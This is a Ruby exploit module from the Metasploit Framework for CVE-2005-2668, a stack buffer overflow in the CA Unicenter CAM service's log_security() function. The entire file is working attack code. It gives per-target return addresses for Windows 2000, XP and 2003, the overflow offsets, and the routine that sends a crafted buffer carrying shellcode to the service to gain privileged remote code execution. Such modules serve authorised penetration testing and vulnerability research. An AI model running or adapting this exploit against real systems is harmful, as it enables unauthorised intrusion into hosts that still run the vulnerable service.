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rapid7
GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/exploits/windows/unicenter/cam_log_security.rb
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##

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# This module requires Metasploit: https://metasploit.com/download

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# Current source: https://github.com/rapid7/metasploit-framework

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##

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class MetasploitModule < Msf::Exploit::Remote

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  Rank = GreatRanking

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  include Msf::Exploit::Remote::Tcp

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  def initialize(info = {})

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    super(

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      update_info(

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        info,

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        'Name' => 'CA CAM log_security() Stack Buffer Overflow (Win32)',

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        'Description' => %q{

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          This module exploits a vulnerability in the CA CAM service

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          by passing a long parameter to the log_security() function.

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          The CAM service is part of TNG Unicenter. This module has

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          been tested on Unicenter v3.1.

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        },

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        'Author' => [ 'hdm' ],

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        'License' => MSF_LICENSE,

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        'References' => [

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          ['CVE', '2005-2668'],

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          ['OSVDB', '18916'],

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          ['BID', '14622'],

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        ],

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        'Privileged' => true,

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        'Payload' => {

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          'Space' => 1024,

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          'BadChars' => "\x00",

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          'StackAdjustment' => -3500

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        },

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        'Targets' => [

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          # W2API.DLL @ 0x01950000 - return to ESI

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          ['W2API.DLL TNG 2.3', { 'Platform' => 'win', 'Ret' => 0x01951107 }],

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          # Return to ESI in ws2help.dll

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          ['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],

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          ['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],

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          ['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],

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          ['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71bf175f }],

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        ],

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        'DisclosureDate' => '2005-08-22',

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        'DefaultTarget' => 0,

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        'Notes' => {

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          'Reliability' => UNKNOWN_RELIABILITY,

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          'Stability' => UNKNOWN_STABILITY,

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          'SideEffects' => UNKNOWN_SIDE_EFFECTS

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        }

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      )

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    )

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  end

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  def check

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    connect

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    ack = sock.get_once || ''

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    disconnect

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    (ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe

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  end

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  def exploit

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    connect

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    ack = sock.get_once

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    if (ack != "ACK\x00")

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      print_status('The CAM service is not responding')

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    end

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    buf = rand_text_english(4096, payload_badchars)

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    # Offset 1016 for EIP, 1024 = ESP, 1052 = ESI

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    buf[1016, 4] = [target.ret].pack('V')

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    buf[1052, payload.encoded.length] = payload.encoded

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    sock.put("\xfa\xf9\x00\x10" + buf + "\x00")

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    handler

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    disconnect

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  end

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end

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